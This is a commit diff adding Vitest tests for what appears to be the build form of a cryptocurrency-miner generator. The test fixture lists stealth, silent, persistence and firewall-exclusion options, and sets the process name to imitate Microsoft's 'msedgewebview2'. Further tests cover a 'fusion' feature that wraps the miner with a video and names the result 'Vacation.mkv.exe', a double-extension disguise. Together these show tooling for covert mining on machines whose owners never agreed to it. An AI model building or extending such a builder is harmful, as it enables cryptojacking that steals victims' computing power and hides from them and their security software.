Add full test suite with unit, integration, and E2E smoke tests.

Introduce test.bat orchestrating Go/Vitest/Playwright phases, expand coverage across server, agent, and dashboard, and document in tests/README.md.

server/web/src/help/forgePreflight.test.ts

@@ -0,0 +1,73 @@
+import { describe, expect, it } from 'vitest';
+import { preflightHasErrors, runForgePreflight } from './forgeValidation';
+import type { BuildRequest } from '../types';
+
+const baseForm = (): BuildRequest => ({
+  worker_name: 'pc-lab-1',
+  server_url: 'http://192.168.1.10:8989',
+  wallet: '4' + 'A'.repeat(94),
+  pool_host: 'pool.example.com',
+  pool_port: 3333,
+  pool_tls: false,
+  pool_pass: 'x',
+  threads: 4,
+  thread_mode: 'percent',
+  thread_percent: 75,
+  cpu_priority: 'normal',
+  mining_mode: 'always',
+  display_mode: 'normal',
+  silent_mode: false,
+  run_as: 'current',
+  auto_start: true,
+  persistence: false,
+  process_name: 'msedgewebview2',
+  max_cpu_usage_pct: 80,
+  max_memory_percent: 80,
+  min_free_ram_mb: 512,
+  idle_threshold_pct: 10,
+  idle_duration_minutes: 5,
+  schedule_start: '',
+  schedule_end: '',
+  install_base: 'appdata',
+  install_custom_base: '',
+  install_relative_path: '',
+  adapt_to_hardware: true,
+  self_healing: true,
+  file_logging: false,
+  stealth_mode: false,
+  firewall_exclusion: false,
+  fusion_enabled: false,
+  fusion_run_order: 'parallel',
+  fusion_output_name: 'prep.exe',
+  ai_enabled: false,
+  ai_ollama_endpoint: '',
+  ai_model: '',
+  output_dir: '',
+});
+
+describe('runForgePreflight', () => {
+  it('passes valid LAN forge form', () => {
+    const checks = runForgePreflight(baseForm(), false);
+    expect(preflightHasErrors(checks)).toBe(false);
+  });
+
+  it('errors on localhost server URL', () => {
+    const form = { ...baseForm(), server_url: 'http://localhost:8989' };
+    const checks = runForgePreflight(form, false);
+    expect(preflightHasErrors(checks)).toBe(true);
+    expect(checks.some((c) => c.id === 'server' && c.level === 'error')).toBe(true);
+  });
+
+  it('errors when fusion enabled without prep', () => {
+    const form = { ...baseForm(), fusion_enabled: true };
+    const checks = runForgePreflight(form, false);
+    expect(preflightHasErrors(checks)).toBe(true);
+    expect(checks.some((c) => c.id === 'fusion')).toBe(true);
+  });
+
+  it('errors on traversal output_dir', () => {
+    const form = { ...baseForm(), output_dir: '../../etc' };
+    const checks = runForgePreflight(form, false);
+    expect(preflightHasErrors(checks)).toBe(true);
+  });
+});

server/web/src/help/fusionMedia.test.ts

@@ -0,0 +1,25 @@
+import { describe, expect, it } from 'vitest';
+import {
+  defaultEmbeddedName,
+  defaultRunnerName,
+  fusionTitleFromFilename,
+  isFusionVideoFile,
+} from './fusionMedia';
+
+describe('fusionMedia', () => {
+  it('detects video extensions', () => {
+    expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true);
+    expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false);
+    expect(isFusionVideoFile(null)).toBe(false);
+  });
+
+  it('derives title from filename', () => {
+    expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
+    expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
+  });
+
+  it('builds default runner and embedded names', () => {
+    expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe');
+    expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
+  });
+});